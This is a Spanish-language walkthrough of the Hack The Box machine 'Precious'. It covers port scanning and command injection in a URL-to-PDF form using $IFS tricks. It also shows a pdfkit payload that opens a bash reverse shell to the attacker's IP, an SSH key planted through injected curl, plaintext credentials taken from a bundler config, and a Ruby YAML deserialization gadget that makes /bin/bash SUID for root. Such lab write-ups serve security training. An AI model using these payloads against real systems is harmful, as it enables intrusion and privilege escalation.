Write up De la maquina precious de la plataforma de Hack The Box
Enumeracion
Empezemos haciendo un escaneo de puertos a la maquina victima
1
2
3
4
5
6
7
8
9
10
❯ nmap 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 15:26 -05
Nmap scan report for 10.10.11.189
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 12.47 seconds
Intentemos detectar la version Que corre para estos puertos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -sCV -p22,80 10.10.11.189 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 15:34 -05
Nmap scan report for 10.10.11.189
Host is up (0.095s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds
Podemos ver en el escaneo de nmap que dectecta que en el puerto 80 hay un redirect a http://precious.htb/ para que este dominio nos resuelva tenemos que agregar esta linea al archivo /etc/hosts
1
10.10.11.189 precious.htb
Veamos desde el navegador esta pagina web
Vemos que podemos introducir una url, y la pagina va a convertir ese contenido a un pdf, pongamos nuestra ip y veamos si nos llega alguna peticion
Nos ponemos en escucha con python y vemos que nos llega una peticion al recurso que le indicamos
1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [09/Feb/2023 15:44:29] code 404, message File not found
10.10.11.189 - - [09/Feb/2023 15:44:29] "GET /test HTTP/1.1" 404 -
Probemos si esta campo de url esta sanitizado correctamente intentemos jugar con el $(command) para ver si podemos incluir un comando en nuestra consulta
1
❯ curl -s 'http://precious.htb' -d 'url=http://10.10.14.110/$(id)'
Mandamos la peticion y nos llega la peticion con el output del comando
1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [09/Feb/2023 15:58:19] code 404, message File not found
10.10.11.189 - - [09/Feb/2023 15:58:19] "GET /uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 404 -
Via no intencionada
Buenos Tenemos un Rce ya que el campo no se esta sanitizando correctamente probemos aver que podemos hacer, para hacernos un ping Tenemos que jugar Con una variable especial de bash la cual es $IFS que actua como si fuera un espacio
1
❯ curl -s http://precious.htb/ --data "url=http://10.10.1/\$(ping\$IFS-c\$IFS'1'\$IFS'10.10.14.110')"
mandamos la peticion y nos ponemos en escucha
1
2
3
4
5
❯ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:16:31.870622 IP 10.10.11.189 > 10.10.14.110: ICMP echo request, id 9466, seq 1, length 64
16:16:31.870656 IP 10.10.14.110 > 10.10.11.189: ICMP echo reply, id 9466, seq 1, length 64
Vemos Que tenemos capacidad de ejecutar comandos con sus parametros jugando con la variable $IFS veamos si hay una id_rsa en el directorio de trabajo de ruby para poder autenticarnos sin proporcionar contraseña
1
❯ curl -s http://precious.htb/ --data "url=http://10.10.14.110/\$(ls\$IFS-la\$IFS'/home/ruby/')"
Montamos el servidor con python
1
2
3
4
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [09/Feb/2023 16:36:37] code 404, message File not found
10.10.11.189 - - [09/Feb/2023 16:36:37] "GET /total%2032%0Adrwxr-xr-x%205%20ruby%20ruby%204096%20Feb%20%209%2016:23%20.%0Adrwxr-xr-x%204%20root%20root%204096%20Oct%2026%2008:28%20..%0Alrwxrwxrwx%201%20root%20root%20%20%20%209%20Oct%2026%2007:53%20.bash_history%20-%3E%20/dev/null%0A-rw-r--r--%201%20ruby%20ruby%20%20220%20Mar%2027%20%202022%20.bash_logout%0A-rw-r--r--%201%20ruby%20ruby%203526%20Mar%2027%20%202022%20.bashrc%0Adr-xr-xr-x%202%20root%20ruby%204096%20Oct%2026%2008:28%20.bundle%0Adrwxr-xr-x%203%20ruby%20ruby%204096%20Feb%20%209%2011:57%20.cache%0Adrwx------%203%20ruby%20ruby%204096%20Feb%20%209%2016:23%20.gnupg%0A-rw-r--r--%201%20ruby%20ruby%20%20807%20Mar%2027%20%202022%20.profile HTTP/1.1" 404 -
Vemos la respuesta urlencodiada decodifiquemosla para verla en su estado original
1
2
3
4
5
6
7
8
9
10
11
12
php > echo urldecode('/total%2032%0Adrwxr-xr-x%205%20ruby%20ruby%204096%20Feb%20%209%2016:23%20.%0Adrwxr-xr-x%204%20root%20root%204096%20Oct%2026%2008:28%20..%0Alrwxrwxrwx%201%20root%20root%20%20%20%209%20Oct%2026%2007:53%20.bash_history%20-%3E%20/dev/null%0A-rw-r--r--%201%20ruby%20ruby%20%20220%20Mar%2027%20%202022%20.bash_logout%0A-rw-r--r--%201%20ruby%20ruby%203526%20Mar%2027%20%202022%20.bashrc%0Adr-xr-xr-x%202%20root%20ruby%204096%20Oct%2026%2008:28%20.bundle%0Adrwxr-xr-x%203%20ruby%20ruby%204096%20Feb%20%209%2011:57%20.cache%0Adrwx------%203%20ruby%20ruby%204096%20Feb%20%209%2016:23%20.gnupg%0A-rw-r--r--%201%20ruby%20ruby%20%20807%20Mar%2027%20%202022%20.profile');
/total 32
drwxr-xr-x 5 ruby ruby 4096 Feb 9 16:23 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Feb 9 11:57 .cache
drwx------ 3 ruby ruby 4096 Feb 9 16:23 .gnupg
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
php >
No hay un directorio .ssh pero como somos ruby(Que lo vimos del primer comando que ejecutamos) podemos crear el directorio y crear un archivo authorized_keys en el Creemos el directorio
1
❯ curl -s http://precious.htb/ --data "url=http://10.10.14.110/\$(mkdir\$IFS'/home/ruby/.ssh')"
Ahora Tenemos que meter nuestra llave publica en el directorio .ssh con el nombre de authorized_keys para que tome nuestra key como valida asi que generemos un par de claves
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/blank/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/blank/.ssh/id_rsa
Your public key has been saved in /home/blank/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:sE9GumE08Lb94+R8mgjrhUp8i6QY7T17EvBExdMRGmw blank@Pez
The key's randomart image is:
+---[RSA 3072]----+
| .+o.oo |
| .oEo. |
| . .B.. |
| . .o O |
| + * S |
| . .o. B . |
|. . +.= o + |
| + =o+.= * o. |
|. o =*+ . *o |
+----[SHA256]-----+
Vamos a directorio .ssh que esta en nuestra directorio personal y vemos el par de claves
1
2
3
4
5
6
7
❯ cd ~/.ssh
❯ ls -la
drwx------ blank blank 54 B Thu Feb 9 16:47:54 2023 .
drwxr-xr-x blank blank 1.6 KB Thu Feb 9 16:48:45 2023 ..
.rw------- blank blank 2.5 KB Thu Feb 9 16:47:54 2023 id_rsa
.rw-r--r-- blank blank 563 B Thu Feb 9 16:47:54 2023 id_rsa.pub
.rw-r--r-- blank blank 6.7 KB Wed Feb 8 22:15:39 2023 known_hosts
Para transferir el contenido del archivo id_rsa.pub a la maquina victima lo hare con curl con el parametro -o para guardar el ouptut en un archivo, montemos nuestro servidor con python
1
2
3
❯ sudo python3 -m http.server 80
[sudo] password for blank:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora mandemos nuestra consulta a la maquina victima
1
❯ curl -s http://precious.htb/ --data "url=http://example.com/\$(curl\$IFS'10.10.14.110/id_rsa.pub'\$IFS-o\$IFS'/home/ruby/.ssh/authorized_keys')"
Recibimos la peticion
1
2
3
4
❯ sudo python3 -m http.server 80
[sudo] password for blank:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [09/Feb/2023 16:56:28] "GET /id_rsa.pub HTTP/1.1" 200 -
Ahora si nos intentamos conectar como este usuario a la maquina victima no deberia pedirnos contraseña
1
2
3
4
5
6
7
8
9
10
❯ ssh ruby@10.10.11.189
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
-bash-5.1$
Y Tenemos acceso pero esto es una via no intencionada ahora les mostrare la via intensionada de esta maquina
Explotacion
Creemos un archivo index.html y metasmos cualquier contenido en el, y montemos un servidor con python
1
❯ sudo python3 -m http.server 80
Enviemos la consulta e interceptemosla con burpsuite y veamos que pasa cuando se genera el pdf Correctamente
Vemos que lo que se esta empleando por detras para generar los pdf es pdfkit busquemos esto en google para ver si tiene vulnerabilidades
Vemos que hay que tiene una vulnerabilidad de injeccion de comandos
En esta pagina explican un poco la vulnerabilidad y muestran un poc para explotarla
Shell como ruby
Modificamos el payload de la pagina para que nos mande una shell directamente
1
❯ curl -s http://precious.htb/ --data-urlencode "url=http://example.com/?name=#{'%20\`bash -c 'exec bash -i &>/dev/tcp/10.10.14.110/4444 <&1'\`'}"
Nos ponemos en escucha con nc
1
2
3
4
5
6
7
8
9
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.110] from (UNKNOWN) [10.10.11.189] 40740
bash: cannot set terminal process group (657): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ whoami
whoami
ruby
bash-5.1$
Y obtenemos la revershell
Movimiento lateral
enumerando un poco el sistema vemos que hay un directorio .bundle y en el hay un archivo config si vemos el contenido de este archivo hay credenciales en texto claro
1
2
3
4
-bash-5.1$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
-bash-5.1$
Migremos a este usuario Conectandonos por ssh
1
2
3
4
5
6
7
8
9
10
11
❯ sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@10.10.11.189
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 9 16:28:04 2023 from 10.10.14.115
-bash-5.1$
Escalada de privilegios
Si miramos los permisos que tenemos a nivel de sudoers podemos ver que podemos ejecutara este script de ruby como root sin proporcionar contraseña
1
2
3
4
5
6
-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Si miramos el script podemos ver que esta jugando YAML.load y esta llamando a un archivo relativamente osea que en el directoria en el que ejecutemos este script va intentar buscarlo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
-bash-5.1$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Buscando un rato me encontre con esta pagina en la cual dan un payload para inyectar directamente un comando, ya que tiene una vulnerabilidad en la deserializacion, como el script esta llamando a un archivo dependencies.yml creemos un archivo con este nombre e introduscamos nuestro payload, Vamos al directorio /tmp y creemos el archivo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-bash-5.1$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /bin/bash
method_id: :resolve
Ejecutemos el script y funciono somos Root
1
2
3
4
5
-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb 2>/dev/null
-bash-5.1$ bash -p
bash-5.1# cat /root/root.txt
a3e6475edd9cc6514182aca7dde0dd71
bash-5.1#
Gracias por leer